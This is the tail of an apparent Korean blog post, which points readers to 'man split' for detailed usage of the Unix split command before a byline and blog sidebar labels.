자세한 사용법은 man split 으로 확인이 가능합니다.


Posted by 자수씨
, |

글 보관함

최근에 받은 트랙백